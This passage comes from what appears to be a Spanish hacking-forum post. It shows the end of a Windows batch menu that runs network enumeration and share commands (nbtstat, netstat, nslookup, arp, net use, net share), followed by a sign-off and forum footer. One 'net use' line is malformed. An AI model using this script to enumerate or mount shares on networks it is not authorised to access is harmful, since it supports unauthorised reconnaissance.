    if errorlevel 3 goto dominio
    if errorlevel 4 goto arp
    if errorlevel 5 goto acceder
    if errorlevel 6 goto compartir
    if errorlevel 7 goto accesodominio
    goto fin

    netbios:
    nbtstat -na
    goto fin

    red:
    netstat -na
    goto fin

    dominio:
    rem %1 es un par?metro del dominio a consultar
    nslookup %1
    goto fin

    arp:
    arp -a
    goto fin

    acceder:
    rem %1 es un par?metro de la unidad a acceder. Debe
    rem ser del tipo \\ordenador\recurso
    net use %1
    net start
    goto fin

    compartir:
    rem %1 es el directorio a compartir. Debe ser algo como
    rem c:\misdoc~1
    rem %2 es el texto que queremos que tenga como nombre largo en windows
    net share %1 remark %2
    net start
    goto fin

    accesodominio:
    rem %1 es el dominio al que queremos acceder
    rem %2 es el usuario al que queremos introducir
    net use user %1\%2
    net start

    fin:

    Ufff!!!... cito la fuente.
    Fuente: k4ron73





    En fin, acoplamos la respuesta como agregado ya que no podíamos hacerlo en menos de 20000 caracteres... ;)

    Cómo sea... espero les sea de utilidad y/o ref o "remordatorio" jajajaja de las funciones y pará,etros del BATCH y los archivos .BAT...




    A practicar.... Gyus!!! Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
    Enjoy It!!!
    Mis Saludos y Deseos de Más Exitos!!! 8).-
    Hey!!! Sorry pero TU NO Est&aacute;s Autorizado para ver los Links. <a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=register">Reg&iacute;strate</a>&nbsp;o&nbsp;<a href="http://www.hacketico.com/foro/index.php?PHPSESSID=352d5e99754657f87c33f7c406024884&amp;action=login">Ingresa</a>

    Vive Cáda Momento de Tu Vida, Cómo Si Fuera El Ultimo, Más Planifícala... Cómo Si Jamás Fueras a Irte ;) .-



    Tags:
     
    Compartir este Tema...
    En un Foro
    (BBCode)
    En un Sitio Web/Blog/Twitter/Facebook
    (HTML)





    Powered By Satel Group® Web Hosting Diseño Publicidad y Servicio Tecnico